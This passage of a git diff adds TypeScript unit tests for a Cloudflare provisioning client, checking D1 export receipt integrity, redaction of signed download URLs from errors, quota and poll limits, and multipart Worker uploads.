+          branch = input.body;
+          if (synchronous) throw refused;
+          return Promise.reject(refused);
+        },
+      },
+    });
+    await expect(
+      fenced(client, () => client.exportDatabase('db')),
+    ).rejects.toBeDefined();
+    if (!branch) throw new Error('store branch was not supplied');
+    const reader = branch.getReader();
+    try {
+      expect(await reader.read()).toEqual({ done: true, value: undefined });
+    } finally {
+      reader.releaseLock();
+    }
+  });
+
+  it('exposes receipt export only for a receipt-capable store', () => {
+    const legacy = plainClient({
+      exportStore: {
+        async write() {
+          throw new Error('legacy write must not run');
+        },
+      },
+    });
+    expect(legacy.databaseExportReceiptAuthority).toBeUndefined();
+    expect(legacy.exportDatabaseReceipt).toBeUndefined();
+    expect('databaseExportReceiptAuthority' in legacy).toBe(false);
+    expect('exportDatabaseReceipt' in legacy).toBe(false);
+
+    let authorityReads = 0;
+    let methodReads = 0;
+    const store: DurableDatabaseExportStore = {
+      async write() {
+        throw new Error('legacy write must not run');
+      },
+    };
+    Object.defineProperties(store, {
+      receiptAuthority: {
+        configurable: true,
+        get() {
+          authorityReads += 1;
+          return RECEIPT_AUTHORITY;
+        },
+      },
+      writeReceipt: {
+        configurable: true,
+        get() {
+          methodReads += 1;
+          return async () => ({
+            location: 'memory://receipt',
+            size: 1,
+            sha256: 'a'.repeat(64),
+          });
+        },
+      },
+    });
+    const capable = plainClient({ exportStore: store });
+    expect(capable.databaseExportReceiptAuthority).toBe(RECEIPT_AUTHORITY);
+    expect(typeof capable.exportDatabaseReceipt).toBe('function');
+    expect(Object.hasOwn(capable, 'databaseExportReceiptAuthority')).toBe(true);
+    expect(Object.hasOwn(capable, 'exportDatabaseReceipt')).toBe(true);
+    expect([authorityReads, methodReads]).toEqual([1, 1]);
+
+    for (const malformed of [
+      { receiptAuthority: RECEIPT_AUTHORITY },
+      { writeReceipt: async () => undefined },
+      { receiptAuthority: '', writeReceipt: async () => undefined },
+      {
+        receiptAuthority: 'x'.repeat(4_097),
+        writeReceipt: async () => undefined,
+      },
+      { receiptAuthority: RECEIPT_AUTHORITY, writeReceipt: 'not-callable' },
+    ]) {
+      const failure = (() => {
+        try {
+          plainClient({
+            exportStore: {
+              async write() {
+                throw new Error('legacy write must not run');
+              },
+              ...malformed,
+            } as DurableDatabaseExportStore,
+          });
+        } catch (error) {
+          return error;
+        }
+        throw new Error('expected malformed receipt capability to fail');
+      })();
+      expect(failure).toBeInstanceOf(Error);
+      expect((failure as Error).message).toBe(
+        'database export receipt capability is malformed',
+      );
+      expect((failure as Error).cause).toBeUndefined();
+    }
+
+    for (const property of ['receiptAuthority', 'writeReceipt'] as const) {
+      const throwingStore: DurableDatabaseExportStore = {
+        async write() {
+          throw new Error('legacy write must not run');
+        },
+      };
+      if (property === 'writeReceipt') {
+        Object.defineProperty(throwingStore, 'receiptAuthority', {
+          configurable: true,
+          value: RECEIPT_AUTHORITY,
+        });
+      }
+      Object.defineProperty(throwingStore, property, {
+        configurable: true,
+        get() {
+          throw new Error(`${property} getter must not escape`);
+        },
+      });
+      const failure = (() => {
+        try {
+          return plainClient({ exportStore: throwingStore });
+        } catch (error) {
+          return error;
+        }
+      })();
+      expect(failure).toBeInstanceOf(Error);
+      expect((failure as Error).message).toBe(
+        'database export receipt capability is malformed',
+      );
+      expect((failure as Error).cause).toBeUndefined();
+    }
+  });
+
+  it('streams one canonical receipt with independently verified direct integrity', async () => {
+    const bytes = 'CREATE TABLE receipt (id TEXT);';
+    const expectedSha256 = createHash('sha256').update(bytes).digest('hex');
+    const events: string[] = [];
+    let storeReceiver: unknown;
+    let receivedIntegrity: Promise<unknown> | undefined;
+    const store: DurableDatabaseExportStore = {
+      receiptAuthority: RECEIPT_AUTHORITY,
+      async write() {
+        throw new Error('legacy write must not run');
+      },
+      async writeReceipt(input) {
+        storeReceiver = this;
+        events.push('store:start');
+        expect(input.identity).toEqual(RECEIPT_IDENTITY);
+        expect(input.contentLength).toBe(Buffer.byteLength(bytes));
+        receivedIntegrity = input.expectedIntegrity;
+        expect(input.expectedIntegrity).toBeInstanceOf(Promise);
+        const body = Buffer.from(await new Response(input.body).arrayBuffer());
+        events.push('store:body');
+        const integrity = await input.expectedIntegrity;
+        expect(integrity).toEqual({
+          size: body.byteLength,
+          sha256: expectedSha256,
+        });
+        return {
+          location: 'memory://receipt',
+          size: body.byteLength,
+          sha256: expectedSha256,
+        };
+      },
+    };
+    const fixture = recordingFetch(({ url }) => {
+      if (new URL(url).hostname === 'download.example.test') {
+        return new Response(bytes, {
+          headers: { 'content-length': String(Buffer.byteLength(bytes)) },
+        });
+      }
+      return single({
+        status: 'complete',
+        result: { signed_url: 'https://download.example.test/receipt.sql' },
+      });
+    });
+    const client = plainClient({ fetch: fixture.fetch, exportStore: store });
+    const exportReceipt = client.exportDatabaseReceipt;
+    if (!exportReceipt) throw new Error('expected receipt export capability');
+    await expect(
+      fenced(client, () => exportReceipt(RECEIPT_IDENTITY)),
+    ).resolves.toEqual({
+      databaseId: RECEIPT_IDENTITY.databaseId,
+      location: 'memory://receipt',
+      size: Buffer.byteLength(bytes),
+      sha256: expectedSha256,
+    });
+    expect(storeReceiver).toBe(store);
+    expect(receivedIntegrity).toBeInstanceOf(Promise);
+    expect(events).toEqual(['store:start', 'store:body']);
+
+    fixture.requests.length = 0;
+    const authorityFailure = await Promise.resolve()
+      .then(() =>
+        exportReceipt({
+          ...RECEIPT_IDENTITY,
+          authority: 'memory://different/receipts/v1',
+        }),
+      )
+      .catch((error: unknown) => error);
+    expect(authorityFailure).toBeInstanceOf(Error);
+    expect((authorityFailure as Error).message).toBe(
+      'database export receipt authority differs from configured authority',
+    );
+    expect((authorityFailure as Error).cause).toBeUndefined();
+    expect(fixture.requests).toHaveLength(0);
+
+    const classified = databaseExportReceiptError('collision');
+    let classifiedFieldReads = 0;
+    for (const property of [
+      'status',
+      'name',
+      'constructor',
+      'cause',
+    ] as const) {
+      Object.defineProperty(classified, property, {
+        configurable: true,
+        get() {
+          classifiedFieldReads += 1;
+          throw new Error(`${property} must not be read`);
+        },
+      });
+    }
+    const classifiedStore: DurableDatabaseExportStore = {
+      receiptAuthority: RECEIPT_AUTHORITY,
+      async write() {
+        throw classified;
+      },
+      async writeReceipt() {
+        throw classified;
+      },
+    };
+    const classifiedClient = plainClient({
+      fetch: fixture.fetch,
+      exportStore: classifiedStore,
+    });
+    const classifiedExportReceipt = classifiedClient.exportDatabaseReceipt;
+    if (!classifiedExportReceipt) {
+      throw new Error('expected classified receipt export capability');
+    }
+    await expect(
+      fenced(classifiedClient, () => classifiedExportReceipt(RECEIPT_IDENTITY)),
+    ).rejects.toBe(classified);
+    expect(classifiedFieldReads).toBe(0);
+    for (const property of [
+      'status',
+      'name',
+      'constructor',
+      'cause',
+    ] as const) {
+      Reflect.deleteProperty(classified, property);
+    }
+    const legacyFailure = await fenced(classifiedClient, () =>
+      classifiedClient.exportDatabase(RECEIPT_IDENTITY.databaseId),
+    ).catch((error: unknown) => error);
+    expect(legacyFailure).not.toBe(classified);
+    expect(String((legacyFailure as Error).message)).toContain('D1 export for');
+
+    const forged = new Error(classified.message);
+    let forgedStatusReads = 0;
+    Object.defineProperty(forged, 'status', {
+      configurable: true,
+      get() {
+        forgedStatusReads += 1;
+        throw new Error('forged status must be sanitized');
+      },
+    });
+    const forgedStore: DurableDatabaseExportStore = {
+      receiptAuthority: RECEIPT_AUTHORITY,
+      async write() {
+        throw new Error('legacy write must not run');
+      },
+      async writeReceipt() {
+        throw forged;
+      },
+    };
+    const forgedClient = plainClient({
+      fetch: fixture.fetch,
+      exportStore: forgedStore,
+    });
+    const forgedExportReceipt = forgedClient.exportDatabaseReceipt;
+    if (!forgedExportReceipt) {
+      throw new Error('expected forged receipt export capability');
+    }
+    const forgedFailure = await fenced(forgedClient, () =>
+      forgedExportReceipt(RECEIPT_IDENTITY),
+    ).catch((error: unknown) => error);
+    expect(forgedFailure).not.toBe(forged);
+    expect((forgedFailure as Error).message).toContain('D1 export for');
+    expect(forgedStatusReads).toBe(1);
+
+    const dishonestStore: DurableDatabaseExportStore = {
+      receiptAuthority: RECEIPT_AUTHORITY,
+      async write() {
+        throw new Error('legacy write must not run');
+      },
+      async writeReceipt(input) {
+        await new Response(input.body).arrayBuffer();
+        const expected = await input.expectedIntegrity;
+        return {
+          location: 'memory://dishonest-receipt',
+          size: expected.size + 1,
+          sha256: expected.sha256,
+        };
+      },
+    };
+    const dishonestClient = plainClient({
+      fetch: fixture.fetch,
+      exportStore: dishonestStore,
+    });
+    const dishonestExportReceipt = dishonestClient.exportDatabaseReceipt;
+    if (!dishonestExportReceipt) {
+      throw new Error('expected dishonest receipt export capability');
+    }
+    const dishonestFailure = await fenced(dishonestClient, () =>
+      dishonestExportReceipt(RECEIPT_IDENTITY),
+    ).catch((error: unknown) => error);
+    expect((dishonestFailure as Error).message).toContain(
+      'committed durable D1 export integrity differs from the download',
+    );
+
+    for (const mode of ['synchronous', 'deferred'] as const) {
+      const lowerFailure = databaseExportReceiptError('collision');
+      const cancellationReasons: unknown[] = [];
+      const rejectingStore: DurableDatabaseExportStore = {
+        receiptAuthority: RECEIPT_AUTHORITY,
+        async write() {
+          throw new Error('legacy write must not run');
+        },
+        writeReceipt(input): Promise<never> {
+          Object.defineProperty(input.body, 'cancel', {
+            configurable: true,
+            value(reason: unknown) {
+              cancellationReasons.push(reason);
+              return Promise.resolve();
+            },
+          });
+          if (mode === 'synchronous') throw lowerFailure;
+          return Promise.resolve().then(() => {
+            throw lowerFailure;
+          });
+        },
+      };
+      const rejectingClient = plainClient({
+        fetch: fixture.fetch,
+        exportStore: rejectingStore,
+      });
+      const rejectingExportReceipt = rejectingClient.exportDatabaseReceipt;
+      if (!rejectingExportReceipt) {
+        throw new Error('expected rejecting receipt export capability');
+      }
+      await expect(
+        fenced(rejectingClient, () => rejectingExportReceipt(RECEIPT_IDENTITY)),
+      ).rejects.toBe(lowerFailure);
+      expect(cancellationReasons).toEqual([lowerFailure]);
+    }
+  });
+
+  it.each([
+    [404, 'absent'],
+    [200, 'deleted'],
+  ] satisfies ReadonlyArray<
+    readonly [number, 'absent' | 'deleted']
+  >)('classifies ordinary Worker delete status %s as %s', async (status, result) => {
+    const fixture = recordingFetch(() =>
+      status === 404 ? apiFailure(404) : single({}),
+    );
+    const client = plainClient({ fetch: fixture.fetch });
+    await expect(
+      fenced(client, () => client.deleteOrdinaryWorkerScript('plain')),
+    ).resolves.toBe(result);
+  });
+
+  it.each([
+    403, 500,
+  ])('propagates ordinary Worker delete status %s', async (status) => {
+    const fixture = recordingFetch(() => apiFailure(status));
+    const client = plainClient({ fetch: fixture.fetch });
+    await expect(
+      fenced(client, () => client.deleteOrdinaryWorkerScript('plain')),
+    ).rejects.toThrow();
+  });
+
+  it('rejects quota acquisition for reads and writes before fetch', async () => {
+    const fetch = vi.fn<typeof globalThis.fetch>();
+    const client = plainClient({
+      fetch,
+      rateCoordinator: {
+        acquire: async () => {
+          throw new Error('quota unavailable');
+        },
+      },
+    });
+    let readFailure: unknown;
+    let writeFailure: unknown;
+    try {
+      await client.listOrdinaryWorkerDatabases();
+    } catch (error) {
+      readFailure = error;
+    }
+    try {
+      await fenced(client, () => client.deleteOrdinaryWorkerScript('plain'));
+    } catch (error) {
+      writeFailure = error;
+    }
+    expect(ownSerialization(readFailure)).toContain('quota unavailable');
+    expect(ownSerialization(writeFailure)).toContain('quota unavailable');
+    expect(fetch).not.toHaveBeenCalled();
+  });
+
+  it.each([
+    [
+      'invalid-url',
+      () =>
+        single({
+          status: 'complete',
+          result: {
+            signed_url:
+              'ht!tps://download.example.test/private/path?token=secret',
+          },
+        }),
+      undefined,
+    ],
+    [
+      'non-https-url',
+      () =>
+        single({
+          status: 'complete',
+          result: {
+            signed_url:
+              'http://download.example.test/private/path?token=secret',
+          },
+        }),
+      'export returned a non-HTTPS download URL',
+    ],
+    [
+      'fetch-rejection',
+      () =>
+        single({
+          status: 'complete',
+          result: {
+            signed_url:
+              'https://download.example.test/private/path?token=secret',
+          },
+        }),
+      undefined,
+    ],
+    [
+      'status-error',
+      () =>
+        single({
+          status: 'error',
+          error: 'https://download.example.test/private/path?token=secret',
+        }),
+      "provider status 'error'",
+    ],
+    [
+      'sdk-error',
+      () =>
+        apiFailure(
+          500,
+          'https://download.example.test/private/path?token=secret',
+        ),
+      'HTTP 500',
+    ],
+    ['no-bookmark', () => single({ status: 'pending' }), 'no polling bookmark'],
+  ] as const)('redacts a %s signed export URL failure', async (_kind, providerResponse, expectedFragment) => {
+    const signedUrl = 'https://download.example.test/private/path?token=secret';
+    const fixture = recordingFetch(async ({ url, headers, redirect }) => {
+      if (url.startsWith('https://download.example.test/')) {
+        expect(headers.has('authorization')).toBe(false);
+        expect(redirect).toBe('manual');
+        const error = new Error(signedUrl);
+        error.name = signedUrl;
+        throw error;
+      }
+      return providerResponse();
+    });
+    const client = plainClient({
+      fetch: fixture.fetch,
+      exportStore: {
+        write: async () => ({ location: 'x', size: 1, sha256: 'x' }),
+      },
+    });
+    let failure: unknown;
+    try {
+      await fenced(client, () => client.exportDatabase('db'));
+    } catch (error) {
+      failure = error;
+    }
+    expect(ownSerialization(failure)).not.toContain('/private/path');
+    expect(ownSerialization(failure)).not.toContain('token=secret');
+    if (expectedFragment) {
+      expect(String(fact(failure, 'message'))).toContain(expectedFragment);
+    }
+  });
+
+  it('refuses a redirected signed export download and redacts its URL', async () => {
+    const signedUrl = 'https://download.example.test/private/path?token=secret';
+    const cancelled = vi.fn();
+    const fixture = recordingFetch(({ url, headers, redirect }) => {
+      if (url.startsWith('https://download.example.test/')) {
+        expect(headers.has('authorization')).toBe(false);
+        expect(redirect).toBe('manual');
+        return new Response(new ReadableStream({ cancel: cancelled }), {
+          status: 302,
+          headers: { location: 'https://redirected.invalid/elsewhere' },
+        });
+      }
+      return single({ status: 'complete', result: { signed_url: signedUrl } });
+    });
+    const client = plainClient({
+      fetch: fixture.fetch,
+      exportStore: {
+        write: async () => ({ location: 'x', size: 1, sha256: 'x' }),
+      },
+    });
+
+    const failure = await fenced(client, () =>
+      client.exportDatabase('db'),
+    ).catch((error: unknown) => error);
+
+    expect(cancelled).toHaveBeenCalledTimes(1);
+    expect(fact(failure, 'message')).toBe(
+      "D1 export for 'db' failed after 1 poll(s) with HTTP 302",
+    );
+    expect(ownSerialization(failure)).not.toContain('/private/path');
+    expect(ownSerialization(failure)).not.toContain('token=secret');
+  });
+
+  it('redacts a signed export URL from a throwing status accessor', async () => {
+    const signedUrl = 'https://download.example.test/private/path?token=secret';
+    const fixture = recordingFetch(({ url }) => {
+      if (url === signedUrl) {
+        const error = new Error('download failed');
+        Object.defineProperty(error, 'status', {
+          get: () => {
+            throw new Error(`leak ${signedUrl}`);
+          },
+        });
+        return Promise.reject(error);
+      }
+      return single({
+        status: 'complete',
+        result: { signed_url: signedUrl },
+      });
+    });
+    const client = plainClient({
+      fetch: fixture.fetch,
+      exportStore: {
+        write: async () => ({ location: 'x', size: 1, sha256: 'x' }),
+      },
+    });
+    const failure = await fenced(client, () =>
+      client.exportDatabase('db'),
+    ).catch((error: unknown) => error);
+
+    expect(ownSerialization(failure)).not.toContain('/private/path');
+    expect(ownSerialization(failure)).not.toContain('token=secret');
+    expect(fact(failure, 'message')).toBe(
+      "D1 export for 'db' failed after 1 poll(s)",
+    );
+    expect(fact(failure, 'cause')).toEqual({ name: 'unknown' });
+  });
+
+  it('reports exhaustion of the D1 export poll budget safely', async () => {
+    vi.useFakeTimers();
+    try {
+      let poll = 0;
+      const fixture = recordingFetch(() => {
+        poll += 1;
+        return single({ status: 'pending', at_bookmark: `bookmark-${poll}` });
+      });
+      const client = plainClient({
+        fetch: fixture.fetch,
+        exportStore: {
+          write: async () => ({ location: 'x', size: 1, sha256: 'x' }),
+        },
+      });
+      const failurePromise = fenced(client, () => client.exportDatabase('db'))
+        .then(() => undefined)
+        .catch((error: unknown) => error);
+
+      await vi.runAllTimersAsync();
+      const failure = await failurePromise;
+
+      expect(String(fact(failure, 'message'))).toContain(
+        'export did not complete within the poll budget',
+      );
+      expect(ownSerialization(failure)).not.toContain('bookmark-');
+      expect(fixture.requests).toHaveLength(120);
+    } finally {
+      vi.useRealTimers();
+    }
+  });
+
+  it('executes a nested same-fence request with one transport assertion', async () => {
+    const fixture = recordingFetch(() => single({}));
+    const client = plainClient({ fetch: fixture.fetch });
+    let executions = 0;
+    const assertOwned = vi.fn(async () => {});
+    const fence = { mutationLeaseTtlMs: 15 * 60_000, assertOwned };
+    await client.withMutationFence(fence, () =>
+      client.withMutationFence(fence, async () => {
+        executions += 1;
+        await client.deleteOrdinaryWorkerScript('plain');
+      }),
+    );
+    expect(executions).toBe(1);
+    expect(fixture.requests).toHaveLength(1);
+    expect(assertOwned).toHaveBeenCalledTimes(1);
+  });
+
+  it('bounds WFP dispatch-script items across cursor pages', async () => {
+    const fixture = recordingFetch(({ url }) => {
+      const target = new URL(url);
+      const authority = zoneAuthorityResponse(target, []);
+      if (authority) return authority;
+      const pathname = target.pathname;
+      if (pathname.endsWith('/workers/dispatch/namespaces/fleet/scripts')) {
+        const offset = target.searchParams.has('cursor') ? 5_000 : 0;
+        const count = offset === 0 ? 5_000 : 5_001;
+        return Response.json({
+          success: true,
+          errors: [],
+          messages: [],
+          result: Array.from({ length: count }, (_, index) => ({
+            id: `script-${offset + index}`,
+            tags: [],
+          })),
+          result_info: offset === 0 ? { cursor: 'next-page' } : {},
+        });
+      }
+      if (
+        pathname.endsWith('/workers/domains') ||
+        pathname.endsWith('/workers/scripts') ||
+        pathname.endsWith('/d1/database') ||
+        pathname.endsWith('/workers/durable_objects/namespaces')
+      ) {
+        return pageArray([]);
+      }
+      if (target.searchParams.has('page')) return pageArray([]);
+      throw new Error(`unexpected Cloudflare request: ${target.href}`);
+    });
+    const client = new CloudflareProvisioningClient({
+      accountId: 'account',
+      apiToken: 'token',
+      rateCoordinator: testRateCoordinator(),
+      dispatchNamespace: 'fleet',
+      fetch: fixture.fetch,
+    });
+
+    await expect(
+      client.collectFleetInventory({
+        databaseNamePrefix: 'fleet-',
+        scriptNamePrefix: 'fleet-',
+        includeDispatchNamespace: true,
+      }),
+    ).rejects.toThrow(
+      'dispatch script inventory exceeded the supported inventory bound of 10000 items',
+    );
+  });
+
+  it('keeps WFP D1 create and query at one provider attempt', async () => {
+    for (const operation of ['create', 'query']) {
+      const fixture = recordingFetch(() => apiFailure(500));
+      const client = new CloudflareProvisioningClient({
+        accountId: 'account',
+        apiToken: 'token',
+        dispatchNamespace: 'fleet',
+        rateCoordinator: testRateCoordinator(),
+        fetch: fixture.fetch,
+      });
+      await expect(
+        fenced(client, async () => {
+          await (operation === 'create'
+            ? client.createDatabase('db')
+            : client.queryDatabase('db', 'SELECT 1'));
+        }),
+      ).rejects.toBeDefined();
+      expect(fixture.requests).toHaveLength(1);
+    }
+  });
+});
diff --git a/packages/fleet-control/test/cloudflare-client.test.ts b/packages/fleet-control/test/cloudflare-client.test.ts
index 59da20ec..76c89b15 100644
--- a/packages/fleet-control/test/cloudflare-client.test.ts
+++ b/packages/fleet-control/test/cloudflare-client.test.ts
@@ -4,15 +4,33 @@ import { describe, expect, it, vi } from 'vitest';
 import { ActiveRouteAttestationError } from '../src/active-route.js';
 import {
   CloudflareProvisioningClient,
+  cloudflareFleetInventoryContext,
   type DurableDatabaseExportStore,
   dispatchMigrations,
 } from '../src/cloudflare-client.js';
-import { ProcessLocalCloudflareApiRateCoordinator } from '../src/cloudflare-rate-coordinator.js';
+import {
+  canonicalFleetInventoryRunOptions,
+  initialFleetInventoryProgress,
+  materializeFleetInventoryGeneration,
+} from '../src/fleet-inventory-state.js';
 import { canonicalDeploymentEgressPolicy } from '../src/platform-resources.js';
 import type {
   DeploymentSpec,
   ExternalPlatformResources,
 } from '../src/types.js';
+import {
+  envelope,
+  fenced,
+  pageArray,
+  testRateCoordinator,
+  zoneAuthorityResponse,
+} from './fixtures/cloudflare-fetch-fixture.js';
+import {
+  DRAIN_BASELINE_INVENTORY,
+  DRAIN_BASELINE_REQUESTS,
+} from './fixtures/fleet-inventory-drain-baseline.js';
+import { runFleetInventoryDrain } from './fixtures/fleet-inventory-drain-world.js';
+import { errorChain } from './fixtures/plain-worker-harnesses.js';
 
 function deployment(overrides: Partial<DeploymentSpec> = {}): DeploymentSpec {
   return {
@@ -40,89 +58,284 @@ function deployment(overrides: Partial<DeploymentSpec> = {}): DeploymentSpec {
   };
 }
 
-function envelope(result: unknown): Response {
-  return Response.json({
-    success: true,
-    errors: [],
-    messages: [],
-    result,
-    result_info: {
-      page: 1,
-      per_page: 20,
-      count: Array.isArray(result) ? result.length : 1,
-      total_count: Array.isArray(result) ? result.length : 1,
-      total_pages: 1,
-    },
+describe('CloudflareProvisioningClient', () => {
+  it.each([
+    [403, 10003, true],
+    [403, 10004, false],
+    [403, undefined, false],
+    [500, 10003, false],
+  ] as const)('classifies R2 listing HTTP %i code %s as unavailable=%s', async (status, code, unavailable) => {
+    const client = new CloudflareProvisioningClient({
+      plane: 'plain-worker',
+      accountId: 'account',
+      apiToken: 'inert',
+      rateCoordinator: testRateCoordinator(),
+      fetch: async (input, init) => {
+        const request = new Request(input, init);
+        expect(new URL(request.url).pathname).toBe(
+          '/client/v4/accounts/account/r2/buckets',
+        );
+        expect(request.headers.get('cf-r2-jurisdiction')).toBe('fedramp');
+        return Response.json(
+          {
+            success: false,
+            errors:
+              code === undefined ? [] : [{ code, message: 'Access Denied' }],
+            messages: [],
+            result: null,
+          },
+          { status },
+        );
+      },
+    });
+    const options = canonicalFleetInventoryRunOptions({
+      databaseNamePrefix: 'fleet-',
+      scriptNamePrefix: 'fleet-',
+      includeR2Buckets: true,
+    });
+    const stage = { step: 'r2-buckets', jurisdictionOrdinal: 2 } as const;
+    const result = fenced(client, () =>
+      cloudflareFleetInventoryContext(client).advanceStage({
+        stage,
+        options,
+        progress: initialFleetInventoryProgress(stage, 1),
+        maxProviderRequests: 9,
+      }),
+    );
+    if (unavailable) {
+      const inventory = materializeFleetInventoryGeneration({
+        ...(await result),
+        options,
+      });
+      expect(inventory.unavailableR2Jurisdictions).toEqual(['fedramp']);
+      expect(Object.isFrozen(inventory.unavailableR2Jurisdictions)).toBe(true);
+    } else {
+      await expect(result).rejects.toMatchObject({ status });
+    }
   });
-}
 
-function zoneAuthorityResponse(
-  url: URL,
-  zoneIds: readonly string[],
-): Response | undefined {
-  if (url.pathname.endsWith('/user/tokens/verify')) {
-    return envelope({ id: 'token-id', status: 'active' });
-  }
-  if (url.pathname.endsWith('/accounts/account/tokens/token-id')) {
-    return envelope({
-      id: 'token-id',
-      status: 'active',
-      policies: [
+  it.each([
+    'reserved',
+    'duplicate',
+  ] as const)('refuses %s module part names before an upload', async (kind) => {
+    let requests = 0;
+    const client = new CloudflareProvisioningClient({
+      plane: 'plain-worker',
+      accountId: 'account',
+      apiToken: 'inert',
+      rateCoordinator: testRateCoordinator(),
+      fetch: async () => {
+        requests++;
+        return envelope({ etag: 'unexpected' });
+      },
+    });
+    const names =
+      kind === 'reserved' ? ['metadata'] : ['worker.js', 'worker.js'];
+    await expect(
+      fenced(client, () =>
+        client.uploadControlWorker({
+          scriptName: 'parts',
+          mainModule: names[0] ?? '',
+          modules: names.map((name) => ({
+            name,
+            content: 'export default {}',
+          })),
+          compatibilityDate: '2026-08-06',
+          bindings: [],
+        }),
+      ),
+    ).rejects.toThrow('duplicated or reserved');
+    expect(requests).toBe(0);
+  });
+
+  it('keeps upload module names separate from SDK routing parameters', async () => {
+    const observations: unknown[] = [];
+    const client = new CloudflareProvisioningClient({
+      plane: 'plain-worker',
+      accountId: 'account',
+      apiToken: 'inert',
+      rateCoordinator: testRateCoordinator(),
+      fetch: async (input, init) => {
+        const request = new Request(input, init);
+        if (request.url === 'data:,') return new Response('');
+        const form = await request.formData(),
+          module = form.get('account_id');
+        observations.push({
+          path: new URL(request.url).pathname,
+          metadata: JSON.parse(String(form.get('metadata'))),
+          module:
+            module && typeof module !== 'string' ? await module.text() : null,
+        });
+        return envelope({ etag: 'uploaded' });
+      },
+    });
+    await fenced(client, () =>
+      client.uploadControlWorker({
+        scriptName: 'parts',
+        mainModule: 'account_id',
+        modules: [{ name: 'account_id', content: 'export default {}' }],
+        compatibilityDate: '2026-08-06',
+        bindings: [],
+      }),
+    );
+    expect(observations).toEqual([
+      expect.objectContaining({
+        path: '/client/v4/accounts/account/workers/scripts/parts',
+        metadata: expect.objectContaining({ main_module: 'account_id' }),
+        module: 'export default {}',
+      }),
+    ]);
+  });
+
+  it.each([
+    'control',
+    'dispatch',
+    'catalog',
+    'state',
+  ] as const)('encodes %s uploads as native multipart with one JSON metadata part', async (kind) => {
+    const wasm = new Uint8Array([
+      0, 97, 115, 109, 1, 0, 0, 0, 0, 6, 0, 255, 128, 0, 195, 169,
+    ]);
+    const spec = deployment({
+      authoredBy: 'platform',
+      modules: [
+        { name: 'worker.js', content: 'export default {}' },
         {
-          id: 'zone-authority',
-          effect: 'allow',
-          permission_groups: [
-            { id: 'zone-read', name: 'Zone Read' },
-            { id: 'routes-read', name: 'Workers Routes Read' },
-            { id: 'routes-write', name: 'Workers Routes Write' },
-          ],
-          resources: {
-            'com.cloudflare.api.account.account': {
-              'com.cloudflare.api.account.zone.*': '*',
-            },
-          },
+          name: 'fixture.wasm',
+          content: wasm,
+          contentType: 'application/wasm',
         },
       ],
     });
-  }
-  if (url.pathname.endsWith('/zones')) {
-    expect(url.searchParams.get('account.id')).toBe('account');
-    if (url.searchParams.has('page')) return envelope([]);
-    return envelope(zoneIds.map((id) => ({ id, account: { id: 'account' } })));
-  }
-  return undefined;
-}
-
-function fenced<T>(
-  client: CloudflareProvisioningClient,
-  operation: () => Promise<T>,
-): Promise<T> {
-  return client.withMutationFence(
-    {
-      mutationLeaseTtlMs: 15 * 60_000,
-      assertOwned: async () => {},
-    },
-    operation,
-  );
-}
-
-function testRateCoordinator(
-  intervalCap?: number,
-): ProcessLocalCloudflareApiRateCoordinator {
-  return new ProcessLocalCloudflareApiRateCoordinator(intervalCap);
-}
-
-function errorChain(error: unknown): string {
-  const messages: string[] = [];
-  let current = error;
-  while (current instanceof Error) {
-    messages.push(current.message);
-    current = current.cause;
-  }
-  return messages.join(' | ');
-}
+    const observations: unknown[] = [];
+    const publicKey =
+      '{"kty":"OKP","crv":"Ed25519","alg":"EdDSA","kid":"fleet-maintenance-v1","x":"Lhp1XFeTJJx8FLOCKpn4nkO-tWuZZxXX8ziw0LEvUZo"}';
+    const client = new CloudflareProvisioningClient({
+      accountId: 'account',
+      apiToken: 'inert',
+      dispatchNamespace: 'fleet',
+      rateCoordinator: testRateCoordinator(),
+      fetch: async (input, init) => {
+        const request = new Request(input, init);
+        if (request.url === 'data:,') return new Response('');
+        if (
+          request.method === 'GET' &&
+          new URL(request.url).pathname.endsWith(
+            '/workers/dispatch/namespaces/fleet',
+          )
+        )
+          return envelope({
+            namespace_name: 'fleet',
+            trusted_workers: false,
+            script_count: 0,
+          });
+        expect(request.method).toBe('PUT');
+        let form: FormData | undefined;
+        try {
+          form = await request.formData();
+        } catch {
+          /* The assertions retain malformed wire metadata. */
+        }
+        const metadata = form?.get('metadata');
+        if (kind === 'catalog') {
+          expect(JSON.parse(String(metadata)).bindings).toEqual(
+            expect.arrayContaining([
+              {
+                name: 'FLEET_MAINTENANCE_CAPABILITIES',
+                type: 'plain_text',
+                text: 'required',
+              },
+              {
+                name: 'FLEET_MAINTENANCE_CAPABILITY_PUBLIC_KEY',
+                type: 'plain_text',
+                text: publicKey,
+              },
+              {
+                name: 'FLEET_DEPLOYMENT_SCRIPT',
+                type: 'plain_text',
+                text: spec.scriptName,
+              },
+              {
+                name: 'FLEET_RESOURCE_ROLE',
+                type: 'plain_text',
+                text: 'platform-catalog',
+              },
+            ]),
+          );
+        }
+        const file = [...(form?.values() ?? [])].find(
+          (value) => typeof value !== 'string' && value.name === 'fixture.wasm',
+        );
+        observations.push({
+          multipart: /^multipart\/form-data;\s*boundary=/u.test(
+            request.headers.get('content-type') ?? '',
+          ),
+          rawMetadataPart:
+            init?.body instanceof FormData &&
+            typeof init.body.get('metadata') === 'string',
+          entryPart: form?.has('worker.js') ?? false,
+          auxiliaryPart: form?.has('fixture.wasm') ?? false,
+          mainModule:
+            typeof metadata === 'string'
+              ? JSON.parse(metadata).main_module
+              : undefined,
+          wasm:
+            typeof file === 'object'
+              ? [...new Uint8Array(await file.arrayBuffer())]
+              : undefined,
+        });
+        return envelope({ etag: 'uploaded-version' });
+      },
+    });
+    await fenced(client, async () => {
+      if (kind === 'control')
+        await client.uploadControlWorker({
+          scriptName: spec.scriptName,
+          mainModule: spec.mainModule,
+          modules: spec.modules,
+          compatibilityDate: spec.compatibilityDate,
+          bindings: [],
+        });
+      else if (kind === 'dispatch' || kind === 'catalog')
+        await client.uploadDispatchWorker(
+          spec,
+          {
+            id: 'db-acme',
+            name: spec.databaseName,
+            created: false,
+          },
+          spec.scriptName,
+          undefined,
+          undefined,
+          kind === 'catalog' ? publicKey : undefined,
+        );
+      else
+        await client.uploadNamespacedStateWorker({
+          spec,
+          database: { id: 'db-acme', name: spec.databaseName, created: false },
+          artifact: {
+            mainModule: spec.mainModule,
+            modules: spec.modules,
+            compatibilityDate: spec.compatibilityDate,
+          },
+          artifactDigest: 'a'.repeat(64),
+          maintenanceCapabilityPublicKey: 'inert-public-key',
+          sharedOutboundWorkerName: 'fixture-outbound',
+          stateEgressCredentialDigest: 'b'.repeat(64),
+        });
+    });
+    expect(observations).toEqual([
+      {
+        multipart: true,
+        rawMetadataPart: true,
+        entryPart: true,
+        auxiliaryPart: true,
+        mainModule: 'worker.js',
+        wasm: [...wasm],
+      },
+    ]);
